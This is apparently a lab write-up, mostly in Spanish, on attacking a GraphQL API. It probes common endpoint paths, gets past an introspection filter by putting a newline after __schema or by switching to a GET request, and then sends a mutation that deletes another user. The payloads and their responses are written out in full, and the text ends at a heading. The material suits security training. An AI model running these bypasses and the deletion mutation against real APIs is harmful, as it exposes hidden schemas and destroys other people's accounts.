3 - Finding a hidden GraphQL endpoint (& Bypassing Introspection defenses)

Si la instrospección está habilitada : https://github.com/APIs-guru/graphql-voyager

Buscamos el endpoint usando GET y POST

/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql

y poniendo /v1 y usando application/json

Usando una query universal : query{__typename}

Si le enviamos una Introspection query :

{
  "errors": [
    {
      "locations": [],
      "message": "GraphQL introspection is not allowed, but the query contained __schema or __type"
    }
  ]
}

Ahora vamos a bypassear la defensa contra instrospección:

Bypassing GraphQL introspection defenses

If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema keyword.

When developers disable introspection, they could use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.

As such, if the developer has only excluded __schema{, then the below introspection query would not be excluded.


    #Introspection query with newline

    {
        "query": "query{__schema
        {queryType{name}}}"
    }

If this doesn't work, try running the probe over an alternative request method, as introspection may only be disabled over POST. Try a GET request, or a POST request with a content-type of x-www-form-urlencoded.

The example below shows an introspection probe sent via GET, with URL-encoded parameters.

 # Introspection probe as GET request
    GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D

Solución :
Si lo enviamos así nos da error

{
    "query": "query { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

Si lo enviamos así (salto de línea y retorno de carro después de __schema) :

{
    "query": "query { __schema\r\n
     { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"
}

Funciona

Enviando

{
    "query": "query { getUser(id: 1) { id username  } }"
}
{
  "data": {
    "getUser": {
      "id": 1,
      "username": "administrator"
    }
  }
}

Para eliminar al usuario con Id=3

Dado que el tipo de respuesta DeleteOrganizationUserResponse tiene un campo llamado user que es de tipo User, puedes solicitar información adicional sobre el usuario eliminado al hacer la mutación deleteOrganizationUser. Aquí tienes un ejemplo de cómo realizar la mutación para eliminar un usuario y obtener información sobre el usuario eliminado en la respuesta.

Ejemplo de mutación deleteOrganizationUser

{
    "query": "mutation { deleteOrganizationUser(input: { id : 3 }) { user { id username } } }"
}

Explicación